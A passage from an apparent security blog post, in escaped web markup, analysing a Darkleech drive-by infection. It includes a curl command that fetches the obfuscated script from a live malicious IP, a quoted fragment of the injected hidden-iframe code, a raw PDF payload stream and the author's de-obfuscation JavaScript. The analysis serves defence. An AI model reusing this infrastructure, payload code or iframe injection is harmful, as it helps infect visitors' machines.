<!DOCTYPE HTML PUBLIC "-\/\/IETF\/\/DTD HTML 2.0\/\/EN"><\/span>\r\n<html><head><\/span>\r\n<title><\/span>404 Not Found<\/title><\/span>\r\n<\/head><body><\/span>\r\n<h1><\/span>Not Found<\/h1><\/span>\r\n<p><\/span>The requested URL \/2b01554de28f018745855a41166494db\/lately-duplicate.php was not found on this server.<\/p><\/span>\r\n<hr><\/span>\r\n<address><\/span>Apache\/2.2.8 (Fedora) Server at 68.178.166.11 Port 80<\/address><\/span>\r\n<\/body><\/html><\/span>\r\n<\/pre>\n<\/div>\nif you’re clever though, you’ll set the user agent string to something like oh i dont know, IE 5 and hope for the best:
\njoe@gironsec:~$ curl –user-agent “Mozilla\/4.0 (compatible; MSIE 5.01; Windows NT 5.0)” http:\/\/68.178.166.11\/2b01554de28f018745855a41166494db\/lately-duplicate.php|less
\nThis returns a java script file.
\nHere is the file:
\ndarkleech_first_js<\/a>
\nOh shoot, its encrypted. But fear not, we can decrypt this easily. How?
\nJust replace the eval function with document.write!
\ndecryptme<\/a>
\nThis produced another javascript file.
\nhere it is prettified:darkleech_decrypted<\/a>
\nthe code is a plugin detector for pdf files.
\nWhat stood out for me was the following:
\n<\/p>\n\n me ");pifr.setAttribute('width', 11);pifr.setAttribute('height', 12);pifr.setAttribute('style', "<\/span>\r\n top:<\/span> 100<\/span>px; position:<\/span> absolute ");pifr.setAttribute('src', "<\/span> \/<\/span> 8<\/span>fad735e77b54494234fa5c82e5f4996 \/<\/span> breeding -<\/span> lecture.php ?<\/span> oocSsS =<\/span> 2<\/span>j2e542g53 &<\/span> VMTIP =<\/span> k &<\/span> wuabRuEXEygOen =<\/span> 2<\/span>g55562e312f2j2j3155 &<\/span> bHXKmoLg =<\/span> 2<\/span>d2b2d2b2d2b2d ");document.body.appendChild(pifr);}document.write('');setTimeout(end_redirect,61000);var javaver=window.pdpd.getVersion("<\/span>\r\n<\/pre>\n<\/div>\nSee it?
\nbreeding – lecture.php ? oocSsS = 2j2e542g53 & VMTIP = k & wuabRuEXEygOen = 2g55562e312f2j2j3155 & bHXKmoLg = 2d2b2d2b2d2b2d
\nThese are GET request values.
\nWhen I curl’d the site with these values, it sent me a file:
\ndarkleech_pdf<\/a>. Since I was being flagged by VirusTotal \/ WebSense, I’ve password protected the PDF file. the password is ‘gironsec’.<\/p>\nThe PDF file (which I didn’t open and neither should you) contained several instances of FlateDecode streams.
\nA FlateDecode stream is a section of a PDF file that contains something embedded inside. I assumed this was the payload:
\n41 0 obj<<\/Length 89\/Filter[\/FlateDecode]\/Type\/EmbeddedFile>>stream
\nH\u2030\u00b2\u00b1\u00af\u00c8\u00cdQ(K-*\u00ce\u00cc\u00cf\u00b3U2\u00d43PRH\u00cdK\u00ceO\u00c9\u00ccK\u00b7U
\nq\u00d3\u00b5P\u00b2\u00b7\u00e3\u00b2\u00a9H)\u00b0\u0002b\u0005\u00a0\u00ea\u00bcb\u0010\u00cbV)\u00a3\u00a4\u00a4\u00c0J_?\u00afX\/1%?)U\/9?W\u001f(\u00a1\u00afd\u0007\u0010`
\nendstream
\nendobj<\/p>\n
Since a FlateStream is just zlib \/ DEFLATE encoding, I used a great little tool http:\/\/blog.didierstevens.com\/programs\/pdf-tools\/ which ran against the pdf and showed me the true payload. More F’ing javascript. Of course its encrypted. Why wouldn’t it be?<\/p>\n
darkleech_pdf_decoded<\/a>
\nThis one was more interesting to decode.
\n<\/p>\n\nif<\/span>(yy)xx=<\/span>s[2<\/span>]+<\/span>"\\\\x61"<\/span>;\r\nxx+=<\/span>"\\\\x6c"<\/span>;\r\nif<\/span>(yy){function<\/span> XA(z,a,b){return<\/span> ZA(a,b)};}\r\na=<\/span>[XA(0<\/span>,"7"<\/span>[0<\/span>],"16"<\/span>) etc etc etc\r\n<\/pre>\n<\/div>\nBroken down, the function does a string combine to form a hex character.<\/p>\n
Do decrypt, we do:
\n<\/p>\n
\nfunction<\/span> XA(z,a,b){\r\n\treturn<\/span> parseInt<\/span>(a+<\/span>b[1<\/span>], 16<\/span>)\r\n}\r\na=<\/span>[XA(0<\/span>,"7"<\/span>,"16"<\/span>),XA(0<\/span>,"6"<\/span>,"11"<\/span>),XA(0<\/span>,"7"<\/span>,"12"<\/span>),XA(0<\/span>,"2"<\/span>,"10"<\/span>), etc etc etc\r\n\tdocument<\/span>.write(String<\/span>.fromCharCode.apply(String<\/span>, a));\r\n<\/pre>\n<\/div>\nThe following html file decrypts:
\nDecryptagain<\/a><\/p>\nThis produced another javascript file, this time what i think is the actual exploit.
\nIt is here:
\ndecoded_js_pdf<\/a>
\nSurprise, its encoded!
\nThe shell code, which trying to not look like shellcode is here:
\n(just did a binary paste into ollydbg and disassembled)
\npayload_shellcode_from_pdf<\/a><\/p>\nThat was a crap load of work just to deliver an exploit. Not only that, I think I failed to disassemble \/ decrypt the final stage properly. I swear, the black hats are winning the war. They have more time on their hands. <\/p>\n
All files here:
\ndarkleech_stuff<\/a>
\npassword is ‘lolwut’.<\/p>\n
![\"Tka3P9j\"](\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2013\/09\/Tka3P9j.gif\")
<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"